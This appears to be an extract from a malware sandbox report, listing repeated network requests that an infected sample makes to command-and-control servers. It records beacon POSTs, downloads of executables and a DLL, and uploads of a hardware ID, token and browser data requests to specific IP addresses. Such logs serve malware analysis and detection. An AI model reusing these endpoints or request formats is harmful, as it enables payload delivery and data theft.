Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 32 31 31 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1021124001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: GET /TQIuuaqjNpwYjtUvFojm1734579850?argument=VtrxllPIxXwrGYCx1734970701 HTTP/1.1Host: home.twentytk20ht.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11If-Modified-Since: Mon, 23 Dec 2024 15:43:39 GMTIf-None-Match: "6769852b-446000"
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 32 31 31 32 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1021126001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /files/client.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDGIJKFIJDAAAKFHIEGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 44 47 49 4a 4b 46 49 4a 44 41 41 41 4b 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 33 41 31 45 41 37 33 30 44 43 31 34 37 35 39 30 32 34 33 36 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 49 4a 4b 46 49 4a 44 41 41 41 4b 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 49 4a 4b 46 49 4a 44 41 41 41 4b 46 48 49 45 47 2d 2d 0d 0a Data Ascii: ------CGDGIJKFIJDAAAKFHIEGContent-Disposition: form-data; name="hwid"963A1EA730DC1475902436------CGDGIJKFIJDAAAKFHIEGContent-Disposition: form-data; name="build"stok------CGDGIJKFIJDAAAKFHIEG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEGCAAKFBAEGDGCBGCGHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 31 35 62 65 31 64 33 65 37 62 34 66 61 66 39 30 34 62 66 34 61 62 35 64 36 61 32 39 34 38 33 65 61 37 63 61 33 34 61 36 32 61 38 66 63 35 34 36 31 37 39 62 37 38 39 32 61 66 64 33 35 31 30 38 39 66 31 31 63 31 33 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 2d 2d 0d 0a Data Ascii: ------IEGCAAKFBAEGDGCBGCGHContent-Disposition: form-data; name="token"215be1d3e7b4faf904bf4ab5d6a29483ea7ca34a62a8fc546179b7892afd351089f11c13------IEGCAAKFBAEGDGCBGCGHContent-Disposition: form-data; name="message"browsers------IEGCAAKFBAEGDGCBGCGH--
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 31 35 62 65 31 64 33 65 37 62 34 66 61 66 39 30 34 62 66 34 61 62 35 64 36 61 32 39 34 38 33 65 61 37 63 61 33 34 61 36 32 61 38 66 63 35 34 36 31 37 39 62 37 38 39 32 61 66 64 33 35 31 30 38 39 66 31 31 63 31 33 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 2d 2d 0d 0a Data Ascii: ------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="token"215be1d3e7b4faf904bf4ab5d6a29483ea7ca34a62a8fc546179b7892afd351089f11c13------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="message"plugins------AAFIJKKEHJDHJKFIECAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGDGIIJJECFIDHJJKKFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 31 35 62 65 31 64 33 65 37 62 34 66 61 66 39 30 34 62 66 34 61 62 35 64 36 61 32 39 34 38 33 65 61 37 63 61 33 34 61 36 32 61 38 66 63 35 34 36 31 37 39 62 37 38 39 32 61 66 64 33 35 31 30 38 39 66 31 31 63 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="token"215be1d3e7b4faf904bf4ab5d6a29483ea7ca34a62a8fc546179b7892afd351089f11c13------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="message"fplugins------JEGDGIIJJECFIDHJJKKF--
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJEGIIEGIDGIDHJDAKFHost: 185.215.113.206Content-Length: 5671Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
